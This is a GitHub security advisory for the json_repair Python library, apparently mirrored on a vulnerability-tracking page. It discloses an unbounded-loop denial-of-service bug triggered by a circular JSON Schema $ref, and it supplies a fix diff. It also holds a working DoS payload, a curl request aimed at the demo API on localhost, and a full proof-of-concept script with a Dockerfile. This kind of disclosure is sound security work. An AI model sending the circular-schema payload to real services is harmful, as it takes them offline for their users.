GHSA-XF7X-X43H-RPQH
Vulnerability from github – Published: 2026-07-13 23:41 – Updated: 2026-07-13 23:41
VLAI
Summary
json_repair: Circular JSON Schema `$ref` causes unbounded CPU DoS
Details
Circular JSON Schema $ref causes unbounded CPU DoS in json_repair
Summary
SchemaRepairer.resolve_schema() in json_repair follows JSON Schema $ref pointers in an unbounded while loop without any cycle detection. An attacker who can supply a schema containing a self-referencing $ref (e.g., via the demo Flask API or any application that passes untrusted input to loads(..., schema=...)), can cause a worker process to spin indefinitely on CPU, resulting in a complete denial of service. No authentication is required against the public demo API. The vulnerability is confirmed reproducible at CVSS 7.5 (High).
Details
SchemaRepairer.resolve_schema() at src/json_repair/schema_repair.py:184–190 resolves $ref chains using a plain while loop:
# src/json_repair/schema_repair.py:184-190
schema_dict = cast("dict[str, Any]", schema)
while "$ref" in schema_dict:
ref = schema_dict["$ref"]
resolved = self._resolve_ref(ref)
if isinstance(resolved, bool):
return resolved
schema_dict = resolved
_resolve_ref() at src/json_repair/schema_repair.py:654–665 always resolves references relative to self.root_schema, which is initialised from the caller-supplied schema (src/json_repair/schema_repair.py:130). When the schema contains a circular reference such as:
{"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}}
_resolve_ref() returns the same dict object on every iteration, so "$ref" in schema_dict is always True and the loop never terminates.
The vulnerable sink is reachable without authentication through the demo Flask API:
# docs/app.py:14, 21-36
data = request.get_json()
schema = data.get("schema")
if schema is not None and not isinstance(schema, (dict, bool)):
raise ValueError("schema must be a JSON object or boolean.")
...
if schema is not None:
loads_kwargs["schema"] = schema
parsed_json = loads(malformed_json, **loads_kwargs)
The only guard is a top-level isinstance(dict, bool) check; there is no $ref depth limit, no visited-set, and no timeout enforced by the library. The full data-flow path is:
docs/app.py:14—request.get_json()reads the attacker-controlled HTTP body.docs/app.py:21–23—schemais extracted; onlydict/booltype check applied.docs/app.py:33–36— schema is forwarded verbatim toloads().src/json_repair/json_repair.py:145–148—schema_from_input(schema)instantiatesSchemaRepairer.src/json_repair/json_repair.py:160—repairer.is_valid()callsresolve_schema(), triggering the infinite loop.src/json_repair/schema_repair.py:184–190— unboundedwhile "$ref" in schema_dictloop (sink).src/json_repair/schema_repair.py:654–665—_resolve_ref()returns the same object on every call.
Recommended fix:
--- a/src/json_repair/schema_repair.py
+++ b/src/json_repair/schema_repair.py
def resolve_schema(self, schema: object | None) -> dict[str, Any] | bool:
...
- schema_dict = cast("dict[str, Any]", schema)
+ schema_dict = cast("dict[str, Any]", schema)
+ seen_schema_ids: set[int] = set()
while "$ref" in schema_dict:
ref = schema_dict["$ref"]
+ if not isinstance(ref, str):
+ raise SchemaDefinitionError("$ref must be a string.")
+ schema_id = id(schema_dict)
+ if schema_id in seen_schema_ids:
+ raise SchemaDefinitionError(f"Circular $ref detected: {ref}")
+ seen_schema_ids.add(schema_id)
resolved = self._resolve_ref(ref)
if isinstance(resolved, bool):
return resolved
schema_dict = resolved
return schema_dict
PoC
Environment setup:
# Clone the affected version
git clone https://github.com/mangiucugna/json_repair.git
git -C json_repair checkout 0015c74c01bdafe4bb7435780657501741c2a5f7
# Install dependencies
pip install flask flask-cors jsonschema pydantic
pip install -e json_repair/
# Start the demo API
PYTHONPATH=json_repair/src flask --app json_repair/docs/app run --host=127.0.0.1 --port=5005
Alternatively, use the provided Docker image:
FROM python:3.11-slim
WORKDIR /app
COPY repo/ /app/repo/
RUN pip install --no-cache-dir flask flask-cors jsonschema pydantic && \
pip install --no-cache-dir -e /app/repo/
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
docker build -t vuln001-json-repair -f vuln-001/Dockerfile .
docker run --rm vuln001-json-repair
HTTP attack request (demo API):
timeout 5 curl -sS -X POST http://127.0.0.1:5005/api/repair-json \
-H 'Content-Type: application/json' \
--data '{"malformedJSON":"{}","schema":{"$ref":"#/definitions/a","definitions":{"a":{"$ref":"#/definitions/a"}}}}'
# Expected: no response before timeout; curl exits with code 124
Direct library attack:
timeout 5 python3 - <<'PY'
from json_repair import loads
schema = {"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}}
print(loads("{}", schema=schema))
PY
# Expected: process killed after 5 s; exit code 124
Observed results (from Docker-based dynamic reproduction):
- Baseline (valid schema
{"type":"object","properties":{"name":{"type":"string"}}}): completed in 0.261 s. - Attack (circular
$refschema): timed out after 5.01 s — process killed; infinite loop confirmed.
Impact
This is an unauthenticated denial-of-service vulnerability. Any single HTTP request carrying a circular $ref schema hangs the Flask worker process indefinitely, making the service unavailable to all other users until the process is killed or the server is restarted. Because the public demo API (docs/app.py) accepts the schema field from the request body without authentication and passes it directly to loads(), remote attackers can exploit this with a trivial one-liner.
Beyond the demo API, any application that exposes json_repair.loads(..., schema=<user-controlled>) to untrusted callers is equally affected. The vulnerability requires no special privileges, produces no useful output for the attacker (confidentiality and integrity are unaffected), and is deterministically reproducible.
Reproduction artifacts
Dockerfile
FROM python:3.11-slim
WORKDIR /app
# Copy the vulnerable json_repair repository (build context is the report root)
COPY repo/ /app/repo/
# Install Flask demo API dependencies and schema extras
RUN pip install --no-cache-dir \
flask \
flask-cors \
jsonschema \
pydantic && \
pip install --no-cache-dir -e /app/repo/
# Copy the proof-of-concept script
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: Circular JSON Schema $ref causes unbounded CPU DoS
CWE-835 — Loop with Unreachable Exit Condition
Affected: json_repair <= 0.59.10 (commit 0015c74)
Sink: src/json_repair/schema_repair.py:185
SchemaRepairer.resolve_schema() while loop follows $ref without cycle detection.
Attack schema:
{"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}}
When passed to loads(..., schema=<above>), resolve_schema() enters an infinite loop
because _resolve_ref() always returns the same dict object from root_schema.
Verdict logic:
- Baseline (valid schema) must complete in < TIMEOUT seconds.
- Attack (circular $ref) must still be running at TIMEOUT seconds.
Both conditions together constitute deterministic proof of the vulnerability.
"""
import os
import subprocess
import sys
import tempfile
import time
# Seconds to wait before declaring the attack confirmed (infinite loop)
TIMEOUT_SECONDS = 5
CIRCULAR_SCHEMA = {
"$ref": "#/definitions/a",
"definitions": {
"a": {"$ref": "#/definitions/a"}
}
}
NORMAL_SCHEMA = {
"type": "object",
"properties": {
"name": {"type": "string"}
}
}
_RUNNER_TEMPLATE = """\
import sys
sys.path.insert(0, '/app/repo/src')
from json_repair import loads
schema = {schema_repr}
result = loads('{{}}', schema=schema)
print(result)
"""
def run_schema_test(schema: dict, timeout: int) -> tuple[bool, float, str]:
"""
Run json_repair loads() with the given schema in an isolated subprocess.
Returns:
timed_out (bool): True if the process was still running at `timeout` seconds.
elapsed (float): Wall-clock seconds until completion or kill.
output (str): stdout/stderr excerpt.
"""
script_content = _RUNNER_TEMPLATE.format(schema_repr=repr(schema))
with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as fh:
fh.write(script_content)
script_path = fh.name
start = time.monotonic()
try:
proc = subprocess.run(
[sys.executable, script_path],
timeout=timeout,
capture_output=True,
text=True,
)
elapsed = time.monotonic() - start
output = (proc.stdout.strip() or proc.stderr.strip())[:400]
return False, elapsed, output
except subprocess.TimeoutExpired:
elapsed = time.monotonic() - start
return True, elapsed, f"[no output — process killed after {elapsed:.2f}s]"
finally:
os.unlink(script_path)
def main() -> int:
print("=" * 64)
print("VULN-001 PoC: Circular $ref JSON Schema DoS")
print("json_repair SchemaRepairer.resolve_schema() — CWE-835")
print("=" * 64)
# --- Test 1: baseline (must complete quickly) ---
print(f"\n[TEST 1] Baseline — valid schema (expect completion < {TIMEOUT_SECONDS}s)")
timed_out_baseline, elapsed_baseline, output_baseline = run_schema_test(
NORMAL_SCHEMA, TIMEOUT_SECONDS
)
if timed_out_baseline:
print(f" UNEXPECTED TIMEOUT after {elapsed_baseline:.2f}s — environment issue")
baseline_ok = False
else:
print(f" COMPLETED in {elapsed_baseline:.3f}s -> {output_baseline}")
baseline_ok = True
# --- Test 2: circular $ref attack (must time out) ---
print(
f"\n[TEST 2] Attack — circular $ref schema"
f" (expect hang > {TIMEOUT_SECONDS}s)"
)
print(f" Schema: {CIRCULAR_SCHEMA}")
timed_out_attack, elapsed_attack, output_attack = run_schema_test(
CIRCULAR_SCHEMA, TIMEOUT_SECONDS
)
if timed_out_attack:
print(
f" TIMED OUT after {elapsed_attack:.2f}s "
f"— infinite loop CONFIRMED (VULNERABLE)"
)
attack_confirmed = True
else:
print(
f" Completed in {elapsed_attack:.3f}s -> {output_attack}"
f"\n (patched or not triggered — check installation)"
)
attack_confirmed = False
# --- Summary ---
print("\n" + "=" * 64)
if baseline_ok and attack_confirmed:
print("VERDICT: PASS")
print(" Normal schema : returned in under 1 s")
print(f" Circular $ref : still running after {TIMEOUT_SECONDS}s (killed)")
print(" Conclusion: resolve_schema() enters an unbounded loop on circular $ref.")
return 0
elif not attack_confirmed:
print("VERDICT: FAIL — circular $ref did not cause an infinite loop")
print(" The library may already be patched in this build.")
return 2
else:
print("VERDICT: FAIL — baseline test failed; check the environment")
return 3
if __name__ == "__main__":
sys.exit(main())
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "json-repair"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.60.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-13T23:41:39Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Circular JSON Schema `$ref` causes unbounded CPU DoS in `json_repair`\n\n### Summary\n\n`SchemaRepairer.resolve_schema()` in `json_repair` follows JSON Schema `$ref` pointers in an unbounded `while` loop without any cycle detection. An attacker who can supply a schema containing a self-referencing `$ref` (e.g., via the demo Flask API or any application that passes untrusted input to `loads(..., schema=...)`), can cause a worker process to spin indefinitely on CPU, resulting in a complete denial of service. No authentication is required against the public demo API. The vulnerability is confirmed reproducible at CVSS 7.5 (High).\n\n### Details\n\n`SchemaRepairer.resolve_schema()` at `src/json_repair/schema_repair.py:184\u2013190` resolves `$ref` chains using a plain `while` loop:\n\n```python\n# src/json_repair/schema_repair.py:184-190\nschema_dict = cast(\"dict[str, Any]\", schema)\nwhile \"$ref\" in schema_dict:\n ref = schema_dict[\"$ref\"]\n resolved = self._resolve_ref(ref)\n if isinstance(resolved, bool):\n return resolved\n schema_dict = resolved\n```\n\n`_resolve_ref()` at `src/json_repair/schema_repair.py:654\u2013665` always resolves references relative to `self.root_schema`, which is initialised from the caller-supplied schema (`src/json_repair/schema_repair.py:130`). When the schema contains a circular reference such as:\n\n```json\n{\"$ref\": \"#/definitions/a\", \"definitions\": {\"a\": {\"$ref\": \"#/definitions/a\"}}}\n```\n\n`_resolve_ref()` returns the same `dict` object on every iteration, so `\"$ref\" in schema_dict` is always `True` and the loop never terminates.\n\nThe vulnerable sink is reachable without authentication through the demo Flask API:\n\n```python\n# docs/app.py:14, 21-36\ndata = request.get_json()\nschema = data.get(\"schema\")\nif schema is not None and not isinstance(schema, (dict, bool)):\n raise ValueError(\"schema must be a JSON object or boolean.\")\n...\nif schema is not None:\n loads_kwargs[\"schema\"] = schema\nparsed_json = loads(malformed_json, **loads_kwargs)\n```\n\nThe only guard is a top-level `isinstance(dict, bool)` check; there is no `$ref` depth limit, no visited-set, and no timeout enforced by the library. The full data-flow path is:\n\n1. `docs/app.py:14` \u2014 `request.get_json()` reads the attacker-controlled HTTP body.\n2. `docs/app.py:21\u201323` \u2014 `schema` is extracted; only `dict`/`bool` type check applied.\n3. `docs/app.py:33\u201336` \u2014 schema is forwarded verbatim to `loads()`.\n4. `src/json_repair/json_repair.py:145\u2013148` \u2014 `schema_from_input(schema)` instantiates `SchemaRepairer`.\n5. `src/json_repair/json_repair.py:160` \u2014 `repairer.is_valid()` calls `resolve_schema()`, triggering the infinite loop.\n6. `src/json_repair/schema_repair.py:184\u2013190` \u2014 unbounded `while \"$ref\" in schema_dict` loop (sink).\n7. `src/json_repair/schema_repair.py:654\u2013665` \u2014 `_resolve_ref()` returns the same object on every call.\n\n**Recommended fix:**\n\n```diff\n--- a/src/json_repair/schema_repair.py\n+++ b/src/json_repair/schema_repair.py\n def resolve_schema(self, schema: object | None) -\u003e dict[str, Any] | bool:\n ...\n- schema_dict = cast(\"dict[str, Any]\", schema)\n+ schema_dict = cast(\"dict[str, Any]\", schema)\n+ seen_schema_ids: set[int] = set()\n while \"$ref\" in schema_dict:\n ref = schema_dict[\"$ref\"]\n+ if not isinstance(ref, str):\n+ raise SchemaDefinitionError(\"$ref must be a string.\")\n+ schema_id = id(schema_dict)\n+ if schema_id in seen_schema_ids:\n+ raise SchemaDefinitionError(f\"Circular $ref detected: {ref}\")\n+ seen_schema_ids.add(schema_id)\n resolved = self._resolve_ref(ref)\n if isinstance(resolved, bool):\n return resolved\n schema_dict = resolved\n return schema_dict\n```\n\n### PoC\n\n**Environment setup:**\n\n```bash\n# Clone the affected version\ngit clone https://github.com/mangiucugna/json_repair.git\ngit -C json_repair checkout 0015c74c01bdafe4bb7435780657501741c2a5f7\n\n# Install dependencies\npip install flask flask-cors jsonschema pydantic\npip install -e json_repair/\n\n# Start the demo API\nPYTHONPATH=json_repair/src flask --app json_repair/docs/app run --host=127.0.0.1 --port=5005\n```\n\n**Alternatively, use the provided Docker image:**\n\n```dockerfile\nFROM python:3.11-slim\nWORKDIR /app\nCOPY repo/ /app/repo/\nRUN pip install --no-cache-dir flask flask-cors jsonschema pydantic \u0026\u0026 \\\n pip install --no-cache-dir -e /app/repo/\nCOPY vuln-001/poc.py /app/poc.py\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n```bash\ndocker build -t vuln001-json-repair -f vuln-001/Dockerfile .\ndocker run --rm vuln001-json-repair\n```\n\n**HTTP attack request (demo API):**\n\n```bash\ntimeout 5 curl -sS -X POST http://127.0.0.1:5005/api/repair-json \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"malformedJSON\":\"{}\",\"schema\":{\"$ref\":\"#/definitions/a\",\"definitions\":{\"a\":{\"$ref\":\"#/definitions/a\"}}}}\u0027\n# Expected: no response before timeout; curl exits with code 124\n```\n\n**Direct library attack:**\n\n```bash\ntimeout 5 python3 - \u003c\u003c\u0027PY\u0027\nfrom json_repair import loads\nschema = {\"$ref\": \"#/definitions/a\", \"definitions\": {\"a\": {\"$ref\": \"#/definitions/a\"}}}\nprint(loads(\"{}\", schema=schema))\nPY\n# Expected: process killed after 5 s; exit code 124\n```\n\n**Observed results (from Docker-based dynamic reproduction):**\n\n- Baseline (valid schema `{\"type\":\"object\",\"properties\":{\"name\":{\"type\":\"string\"}}}`): completed in **0.261 s**.\n- Attack (circular `$ref` schema): **timed out after 5.01 s** \u2014 process killed; infinite loop confirmed.\n\n### Impact\n\nThis is an unauthenticated **denial-of-service** vulnerability. Any single HTTP request carrying a circular `$ref` schema hangs the Flask worker process indefinitely, making the service unavailable to all other users until the process is killed or the server is restarted. Because the public demo API (`docs/app.py`) accepts the `schema` field from the request body without authentication and passes it directly to `loads()`, remote attackers can exploit this with a trivial one-liner.\n\nBeyond the demo API, any application that exposes `json_repair.loads(..., schema=\u003cuser-controlled\u003e)` to untrusted callers is equally affected. The vulnerability requires no special privileges, produces no useful output for the attacker (confidentiality and integrity are unaffected), and is deterministically reproducible.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\nWORKDIR /app\n\n# Copy the vulnerable json_repair repository (build context is the report root)\nCOPY repo/ /app/repo/\n\n# Install Flask demo API dependencies and schema extras\nRUN pip install --no-cache-dir \\\n flask \\\n flask-cors \\\n jsonschema \\\n pydantic \u0026\u0026 \\\n pip install --no-cache-dir -e /app/repo/\n\n# Copy the proof-of-concept script\nCOPY vuln-001/poc.py /app/poc.py\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Circular JSON Schema $ref causes unbounded CPU DoS\nCWE-835 \u2014 Loop with Unreachable Exit Condition\n\nAffected: json_repair \u003c= 0.59.10 (commit 0015c74)\nSink: src/json_repair/schema_repair.py:185\n SchemaRepairer.resolve_schema() while loop follows $ref without cycle detection.\n\nAttack schema:\n {\"$ref\": \"#/definitions/a\", \"definitions\": {\"a\": {\"$ref\": \"#/definitions/a\"}}}\n\nWhen passed to loads(..., schema=\u003cabove\u003e), resolve_schema() enters an infinite loop\nbecause _resolve_ref() always returns the same dict object from root_schema.\n\nVerdict logic:\n - Baseline (valid schema) must complete in \u003c TIMEOUT seconds.\n - Attack (circular $ref) must still be running at TIMEOUT seconds.\n Both conditions together constitute deterministic proof of the vulnerability.\n\"\"\"\n\nimport os\nimport subprocess\nimport sys\nimport tempfile\nimport time\n\n# Seconds to wait before declaring the attack confirmed (infinite loop)\nTIMEOUT_SECONDS = 5\n\nCIRCULAR_SCHEMA = {\n \"$ref\": \"#/definitions/a\",\n \"definitions\": {\n \"a\": {\"$ref\": \"#/definitions/a\"}\n }\n}\n\nNORMAL_SCHEMA = {\n \"type\": \"object\",\n \"properties\": {\n \"name\": {\"type\": \"string\"}\n }\n}\n\n_RUNNER_TEMPLATE = \"\"\"\\\nimport sys\nsys.path.insert(0, \u0027/app/repo/src\u0027)\nfrom json_repair import loads\nschema = {schema_repr}\nresult = loads(\u0027{{}}\u0027, schema=schema)\nprint(result)\n\"\"\"\n\n\ndef run_schema_test(schema: dict, timeout: int) -\u003e tuple[bool, float, str]:\n \"\"\"\n Run json_repair loads() with the given schema in an isolated subprocess.\n\n Returns:\n timed_out (bool): True if the process was still running at `timeout` seconds.\n elapsed (float): Wall-clock seconds until completion or kill.\n output (str): stdout/stderr excerpt.\n \"\"\"\n script_content = _RUNNER_TEMPLATE.format(schema_repr=repr(schema))\n\n with tempfile.NamedTemporaryFile(mode=\"w\", suffix=\".py\", delete=False) as fh:\n fh.write(script_content)\n script_path = fh.name\n\n start = time.monotonic()\n try:\n proc = subprocess.run(\n [sys.executable, script_path],\n timeout=timeout,\n capture_output=True,\n text=True,\n )\n elapsed = time.monotonic() - start\n output = (proc.stdout.strip() or proc.stderr.strip())[:400]\n return False, elapsed, output\n except subprocess.TimeoutExpired:\n elapsed = time.monotonic() - start\n return True, elapsed, f\"[no output \u2014 process killed after {elapsed:.2f}s]\"\n finally:\n os.unlink(script_path)\n\n\ndef main() -\u003e int:\n print(\"=\" * 64)\n print(\"VULN-001 PoC: Circular $ref JSON Schema DoS\")\n print(\"json_repair SchemaRepairer.resolve_schema() \u2014 CWE-835\")\n print(\"=\" * 64)\n\n # --- Test 1: baseline (must complete quickly) ---\n print(f\"\\n[TEST 1] Baseline \u2014 valid schema (expect completion \u003c {TIMEOUT_SECONDS}s)\")\n timed_out_baseline, elapsed_baseline, output_baseline = run_schema_test(\n NORMAL_SCHEMA, TIMEOUT_SECONDS\n )\n if timed_out_baseline:\n print(f\" UNEXPECTED TIMEOUT after {elapsed_baseline:.2f}s \u2014 environment issue\")\n baseline_ok = False\n else:\n print(f\" COMPLETED in {elapsed_baseline:.3f}s -\u003e {output_baseline}\")\n baseline_ok = True\n\n # --- Test 2: circular $ref attack (must time out) ---\n print(\n f\"\\n[TEST 2] Attack \u2014 circular $ref schema\"\n f\" (expect hang \u003e {TIMEOUT_SECONDS}s)\"\n )\n print(f\" Schema: {CIRCULAR_SCHEMA}\")\n timed_out_attack, elapsed_attack, output_attack = run_schema_test(\n CIRCULAR_SCHEMA, TIMEOUT_SECONDS\n )\n if timed_out_attack:\n print(\n f\" TIMED OUT after {elapsed_attack:.2f}s \"\n f\"\u2014 infinite loop CONFIRMED (VULNERABLE)\"\n )\n attack_confirmed = True\n else:\n print(\n f\" Completed in {elapsed_attack:.3f}s -\u003e {output_attack}\"\n f\"\\n (patched or not triggered \u2014 check installation)\"\n )\n attack_confirmed = False\n\n # --- Summary ---\n print(\"\\n\" + \"=\" * 64)\n if baseline_ok and attack_confirmed:\n print(\"VERDICT: PASS\")\n print(\" Normal schema : returned in under 1 s\")\n print(f\" Circular $ref : still running after {TIMEOUT_SECONDS}s (killed)\")\n print(\" Conclusion: resolve_schema() enters an unbounded loop on circular $ref.\")\n return 0\n elif not attack_confirmed:\n print(\"VERDICT: FAIL \u2014 circular $ref did not cause an infinite loop\")\n print(\" The library may already be patched in this build.\")\n return 2\n else:\n print(\"VERDICT: FAIL \u2014 baseline test failed; check the environment\")\n return 3\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```",
"id": "GHSA-xf7x-x43h-rpqh",
"modified": "2026-07-13T23:41:39Z",
"published": "2026-07-13T23:41:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mangiucugna/json_repair/security/advisories/GHSA-xf7x-x43h-rpqh"
},
{
"type": "PACKAGE",
"url": "https://github.com/mangiucugna/json_repair"
},
{
"type": "WEB",
"url": "https://github.com/mangiucugna/json_repair/releases/tag/v0.60.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "json_repair: Circular JSON Schema `$ref` causes unbounded CPU DoS"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…